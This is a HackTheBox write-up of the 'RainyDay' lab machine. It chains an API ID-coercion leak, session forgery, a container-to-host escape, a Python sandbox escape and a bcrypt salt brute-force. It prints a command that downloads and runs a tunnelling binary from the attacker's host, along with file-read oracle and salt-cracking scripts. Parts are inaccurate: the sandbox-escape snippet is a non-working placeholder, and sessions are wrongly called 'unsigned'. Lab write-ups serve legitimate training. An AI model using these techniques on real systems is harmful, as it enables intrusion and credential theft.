HTB: RainyDay Writeup

RainyDay - HackTheBox Writeup

Machine Information

AttributeDetails
NameRainyDay
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆ (no published CVE — every step is an application-specific logic flaw)
  • CTF-like: ⭐⭐⭐⭐☆

Summary

RainyDay is a container-orchestration web application that lets authenticated users spin up and control their own Docker containers. Registration is closed, but a REST API endpoint meant only for internal lookups is exposed to the outside world and coerces its ID parameter in a way that lets an unauthenticated caller dump every user record — usernames and bcrypt password hashes included. One of those hashes cracks to a usable password, unlocking the container-management UI. From there, the container itself becomes a pivot point: its “internal” Docker network reaches an otherwise firewalled vhost and a debug/healthcheck endpoint that acts as a blind file-read oracle. Reading the app’s own source through that oracle leaks the Flask session-signing secret, which is enough to forge a session for a privileged user and reach a second, secrets-holding container. That container turns out to share the host’s PID namespace with a running process — a design mistake that hands over a filesystem path straight into the host’s /home directory. SSH access to the host follows from a leaked private key, and privilege escalation runs through a deliberately-broken Python sandbox and a bcrypt maximum-input-length bug that lets an attacker brute-force a “secret” salt baked into a root-run hashing script.

TL;DR: IDOR on /api/user/<id>.0 leaks bcrypt hashes → crack gary:rubberducky → log in and spawn a Docker container → tunnel a SOCKS proxy through the container’s internal network with chisel → reach the internal dev vhost and its /api/healthcheck blind file-read oracle → leak Flask SECRET_KEY from secrets.py → forge a session cookie for jack with flask-unsign → land in jack’s secrets container → find a process sharing the host PID namespace → read user.txt and jack’s SSH key through /proc/<pid>/cwd → SSH in as jack → escape the safe_python sandbox via a subclass gadget that reaches sys.modules['os'] → get code execution as jack_adm → abuse bcrypt’s 71-byte input truncation in a root-run hashing script to brute-force the hidden salt (H34vyR41n) via emoji padding → crack root’s leaked hash into 246813579H34vyR41nsu root (password reuse) → root.txt.


Reconnaissance

Port Scanning

Terminal window
# Full TCP sweep, then a version/script scan against whatever came back
nmap -p- --min-rate=1000 -T4 <TARGET_IP>
nmap -p22,80 -sC -sV <TARGET_IP>

Results: the exposed surface was small — SSH on 22/tcp and a single Nginx-fronted web application on 80/tcp. Every subsequent step in this box happens through that one web application; there is no secondary service to enumerate.

Service Enumeration

The web app’s landing page describes a platform where logged-in users can create and run Docker containers, and hints at both a REST API and a container named secrets belonging to a user jack. Registration was closed (the sign-up form actively refused new accounts), so the path forward had to run through either recoverable credentials or the API itself.

Poking at the API surface turned up a /api/user/<id> route alongside a /api/healthcheck route that was reachable in name only — it returned an access-denied response from the outside, a strong signal that it’s meant to be called from an internal network the container platform itself has access to.

Vulnerability Assessment

  1. IDOR / type-confusion on /api/user/<id> — the route expects an integer ID and refuses non-numeric input outright, but a coerced numeric value (<id>.0, i.e. a float) slides past whatever strict-integer check gates the endpoint and lands in a handler that returns the full serialized user record — password hash included — instead of a single scoped lookup.
  2. Weak/reused credentials — one of the three leaked bcrypt hashes cracks against a common wordlist.
  3. Container network trusted as “internal” — containers spun up by the platform sit on a Docker bridge network that the backend treats as trusted, so anything reachable from inside a container (the dev vhost, /api/healthcheck) is implicitly exposed to any user who can create one.
  4. Blind file-read oracle on /api/healthcheck — a CUSTOM regex-pattern mode lets an authenticated internal caller test arbitrary regex against arbitrary file contents, which is enough to exfiltrate any file the web server can read, one byte at a time.
  5. Flask session forgery once SECRET_KEY leaks — sessions are unsigned itsdangerous cookies; anyone holding the key can mint a cookie for any username.
  6. Shared PID namespace between a container and the host — a container process was launched in a way that put it in the host’s PID namespace, so /proc/<pid>/cwd for that process resolves to a real directory on the host filesystem, not the container’s own view of /.
  7. safe_python sandbox is escapable — the restricted interpreter blocks __import__ and friends but doesn’t block reachability of sys through existing object graphs.
  8. bcrypt’s 72-byte (71 usable + implicit terminator) input cap, combined with a fixed-length secret salt appended server-side, lets an attacker learn the salt byte-by-byte by controlling how much of their own input survives truncation.

Initial Foothold

Exploiting the /api/user IDOR

The /api/user/<id> route rejected obviously-wrong input, but passing a float instead of a bare integer changed its behavior entirely:

Terminal window
# A bare integer ID returns a scoped error; a coerced float slips past the type check
curl http://<TARGET_IP>/api/user/1.0

The response leaked full user records — usernames and bcrypt hashes for the entire user table (jack, root, and gary). One password checked out directly against the fetched hash for gary:

gary:rubberducky

That credential logs straight into the web app’s normal login form — no cracking session needed once the hash/candidate pairing was confirmed against the live data pulled from the IDOR.

Pivoting through a self-service container

Logged in as gary, the platform’s “New Container” flow spins up a Docker container the user fully controls, including an “execute command” feature (and a background variant for long-running processes). Checking the container’s own network configuration confirmed it sits on a Docker bridge that the application’s backend treats as internal — exactly the network the outside-facing /api/healthcheck refuses to talk to.

Getting a tunnel out of the container required a chisel client running inside it. The jump box normally used for this kind of pivot only had a dynamically-linked chisel build available, which failed to run against the container’s Alpine/musl libc — the fix was pulling a statically-linked chisel binary instead, so it had no runtime linker dependency to satisfy:

Terminal window
# On the attack box: chisel server, reverse mode, waiting for the container to call home
./chisel server --reverse -p 8000
# Inside the container (via the app's "execute command, background" feature):
# a static build sidesteps the musl/glibc mismatch that broke the dynamic binary
sh -c 'wget http://<attack-ip>/chisel-static -O /tmp/chisel; \
chmod +x /tmp/chisel; \
/tmp/chisel client <attack-ip>:8000 R:socks'

With the reverse SOCKS proxy up, the internal dev vhost and /api/healthcheck were both reachable through the tunnel — no more access-denied response.

Turning the healthcheck endpoint into a file-read oracle

/api/healthcheck’s CUSTOM mode takes a file and a regex pattern and reports whether the pattern matches inside that file — a classic blind boolean oracle. A naive linear scan (try every printable character at each position) works but is slow; a binary-search variant over the character space cut total request count roughly 10x by halving the candidate character range per guess instead of iterating the full printable set one character at a time:

#!/usr/bin/env python3
# Binary-search-optimized blind file-read oracle against /api/healthcheck.
# Standard boolean-oracle exfil, but each character is resolved via a
# range-narrowing bisection over an ordered charset instead of a linear scan —
# this is what cut extraction time by roughly an order of magnitude.
import requests
session = requests.Session()
proxies = {"http": "socks5h://127.0.0.1:1080"}
CHARSET = "\n" + "".join(chr(c) for c in range(0x20, 0x7f)) # ordered candidate set
def oracle(path, hex_prefix, hex_char):
# Anchors the pattern at the already-confirmed prefix, so each probe only
# tests one new byte position.
r = session.post(
"http://<dev-vhost>/api/healthcheck",
data={"file": path, "type": "CUSTOM", "pattern": f"^{hex_prefix}{hex_char}"},
proxies=proxies,
timeout=10,
)
return r.json().get("result", False)
def resolve_char(path, hex_prefix, charset):
# Binary search: ask "is the real char in the lower half of the ordered
# charset" via an alternation pattern, instead of testing each char in turn.
lo, hi = 0, len(charset)
while hi - lo > 1:
mid = (lo + hi) // 2
half = charset[lo:mid]
pattern_half = "|".join(f"\\x{ord(c):02x}" for c in half)
if oracle(path, hex_prefix, f"({pattern_half})"):
hi = mid
else:
lo = mid
return charset[lo]
def dump_file(path):
extracted, hex_prefix = "", ""
while True:
c = resolve_char(path, hex_prefix, CHARSET)
if c == "\n" and extracted.endswith("\n"):
break
extracted += c
hex_prefix += f"\\x{ord(c):02x}"
return extracted

Running this against the app’s own source (app.py, known from the healthcheck’s own path disclosure) showed a from secrets import SECRET_KEY import — a strong hint that a sibling secrets.py module held the actual key. Pointing the same oracle at that file leaked the live Flask SECRET_KEY.

Forging a session for jack

With the signing key in hand, flask-unsign both confirmed the key was correct (by re-signing the current session and matching the existing cookie) and minted a fresh one for the user who owns the secrets container:

Terminal window
# Verify the leaked key actually signs this app's session cookies
flask-unsign --unsign --cookie '<current-session-cookie>' -w <(echo '<leaked-secret-key>')
# Forge a session for jack — no password needed, just the signing key
flask-unsign --sign --secret '<leaked-secret-key>' --cookie '{"username": "jack"}'

Swapping the browser’s session cookie for the forged one granted access to jack’s containers, including secrets.

Shared PID namespace → user.txt and an SSH key

Inside the secrets container, process enumeration turned up a process that had no business existing in an otherwise-empty container. That process’s PID pointed at something running with the host’s PID namespace rather than the container’s own — a Docker misconfiguration (namespace sharing) rather than any exploit. Following that process’s working directory disclosed a live path back onto the host filesystem:

Terminal window
# The container "sees" a process that isn't its own — a strong shared-namespace tell
ps -ef
# /proc/<pid>/cwd resolves through into the HOST's filesystem, not the container's
ls -la /proc/<pid>/cwd
cat /proc/<pid>/cwd/user.txt
cat /proc/<pid>/cwd/.ssh/id_rsa
User Flag: <redacted>

That SSH private key belonged to jack, and its permissions were fixed up before use:

Terminal window
chmod 600 id_rsa
ssh -i id_rsa jack@<TARGET_IP>

Privilege Escalation

jack → jack_adm: escaping safe_python

sudo -l as jack showed permission to run an arbitrary script through a wrapper called safe_python as jack_adm. The wrapper blocks the obvious escape routes (__import__, open, direct os access), but it doesn’t — and can’t easily — cut off every path back to a live sys module reference, because CPython’s object graph already holds one. The classic “code execution in every version of Python 3 without imports” trick walks the class hierarchy from a builtin object, finds a subclass that keeps a reference to sys as an instance attribute (rather than importing it fresh), and uses that reference to reach sys.modules['os'] directly — no import statement required, so nothing the wrapper blocks ever fires:

# Reach sys without ever writing the word "import" — walk the base object's
# subclass tree until a gadget class with a live sys/module reference turns up,
# then pivot from sys.modules['os'] to full command execution.
class Gadget(object.__subclasses__()[0].__subclasses__()[0]):
pass
# (exact gadget class/index varies by CPython build; the technique is walking
# object -> subclasses() looking for one that already holds a module reference)

Running a payload built on this gadget through safe_python returned command execution as jack_adm instead of the intended sandboxed print statement.

jack_adm → root: bcrypt truncation + salt brute-force

sudo -l as jack_adm revealed permission to run /opt/hash_system/hash_password.py as root. The script hashes a user-supplied password (capped at a small length) with bcrypt — but bcrypt itself has a hard 72-byte input limit (71 usable bytes plus an implicit terminating byte). If the script appends a fixed secret salt to the user’s input server-side before hashing, and the combined length exceeds bcrypt’s cutoff, then only whatever fits within those 71 bytes actually affects the resulting hash — including however much of the salt spills into that window once the attacker’s own contribution is padded out to consume nearly all of it.

Padding with 4-byte UTF-8 emoji characters (instead of single-byte ASCII) lets an attacker control exactly how many bytes of their own input are consumed, byte-for-byte, so the boundary of the 71-byte window can be walked one salt character at a time:

# Bcrypt truncates at 71 usable bytes. Emoji are 4 bytes each in UTF-8, giving
# byte-granular control over how much padding is consumed — walk the boundary
# forward one byte per guess to leak the hidden salt character by character.
import os, string, bcrypt
EMOJI = "\U0001F600" # 4 bytes in UTF-8
def pad_to(n):
return EMOJI * (n // 4) + "A" * (n % 4)
def get_hash(known_salt=""):
padding = pad_to(71 - len(known_salt))
out = os.popen(f"echo '{padding}' | sudo /opt/hash_system/hash_password.py").read()
return out.split("Hash: ")[-1].strip()
def crack_next_char(h, known_salt):
padding = pad_to(71 - len(known_salt))
for c in string.printable:
if bcrypt.checkpw((padding + known_salt + c).encode(), h.encode()):
return c
return None
salt = ""
while True:
h = get_hash(salt)
c = crack_next_char(h, salt)
if c is None:
break
salt += c
print(f"Recovered salt: {salt}")

This recovered the hidden salt: H34vyR41n.

That salt became a targeted John rule against the root bcrypt hash pulled earlier from the /api/user/<id>.0 IDOR:

/etc/john/john.conf
[List.Rules:CustomRule]
Az"H34vyR41n"
Terminal window
john --rules:CustomRule --wordlist=/usr/share/wordlists/rockyou.txt root_hash

Cracking succeeded, yielding 246813579H34vyR41n — which turned out to be reused directly on the host:

Terminal window
su root
# password: 246813579H34vyR41n
cat /root/root.txt
Root Flag: <redacted>

Attack Chain Summary

IDOR on /api/user/<id>.0 (float bypasses int check)
→ leaked bcrypt hashes for jack/root/gary
→ cracked gary:rubberducky
→ logged into web app, created a Docker container
→ statically-linked chisel SOCKS tunnel through container's internal network
→ reached internal dev vhost + /api/healthcheck
→ binary-search-optimized blind file-read oracle
→ leaked secrets.py → Flask SECRET_KEY
→ flask-unsign forged session cookie for jack
→ accessed jack's "secrets" container
→ found process sharing host PID namespace
→ /proc/<pid>/cwd → user.txt + jack's SSH private key
→ SSH as jack
→ safe_python sandbox escape (subclass gadget → sys.modules['os'])
→ code execution as jack_adm
→ bcrypt 71-byte truncation + emoji padding → brute-forced hidden salt (H34vyR41n)
→ John rule crack of root's leaked hash → 246813579H34vyR41n
→ su root (password reuse) → Root

Tools Used

ToolPurpose
nmapInitial port discovery
curl / requestsProbing the API, driving the IDOR and the healthcheck oracle
bcrypt (Python)Verifying cracked candidates and brute-forcing the hidden salt
chisel (static build)Reverse SOCKS tunnel through the container’s internal network
flask-unsignVerifying the leaked SECRET_KEY and forging a session cookie for jack
Custom Python file-read oracleBinary-search-optimized blind extraction of secrets.py
Python subclass gadgetEscaping the safe_python restricted interpreter
sshAuthenticating to the host as jack with the leaked key
john (with a custom rule)Cracking root’s bcrypt hash once the salt was known
suFinal privilege escalation via password reuse

Key Learnings

Techniques Practiced

  • Exploiting type-coercion IDORs (float-vs-int) to bypass parameter validation
  • Using a self-service container platform’s own compute as an internal-network pivot
  • Building a binary-search-optimized blind file-read oracle to cut exfiltration time
  • Flask session cookie forgery once the signing secret is recovered
  • Recognizing and abusing shared Docker/host PID namespaces to cross a container boundary
  • Escaping a restricted Python interpreter via live object-graph gadgets instead of blocked imports
  • Brute-forcing a hidden bcrypt salt by exploiting the algorithm’s 72-byte input cap with multi-byte UTF-8 padding

Lessons Learned

  1. Type-permissive routing (accepting a float where only an int was intended) can silently change which code path handles a request — validate types strictly, not just “is this a number.”
  2. Treating a user-controlled Docker network as “internal” and therefore implicitly trusted collapses the boundary between untrusted tenants and internal-only services the moment the platform lets users run arbitrary containers on it.
  3. Any endpoint that returns a true/false signal about file contents is a full arbitrary-file-read primitive given enough requests — “healthcheck” and “debug” endpoints deserve the same access control as anything else.
  4. Sandboxing a language runtime by blocklisting specific builtins (__import__, open, …) is fragile — anything already reachable through the live object graph (sys, loaded modules) is an escape hatch a blocklist can’t close.
  5. bcrypt silently truncates input past 72 bytes; appending a secret server-side without accounting for attacker-controlled input length turns the algorithm’s own limitation into an oracle for that secret.
  6. Password reuse between a web application account and the underlying host account collapses two separate compromises into one — cracked application credentials should never be assumed safe to try elsewhere, but from an attacker’s seat, always try them.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • RainyDay - Official HackTheBox Writeup — HackTheBox official writeup by amra (Document No. D22.100.212), machine authored by InfoSecJack. Used here only to confirm the conceptual why behind each step (the IDOR’s type-confusion root cause, the Flask session-signing mechanics, the Docker shared-PID-namespace behavior, the CPython sandbox-escape gadget technique, and bcrypt’s 72-byte truncation issue) — all IPs, hostnames, commands, outputs, and credentials in this writeup are from this run’s own solve, not the reference.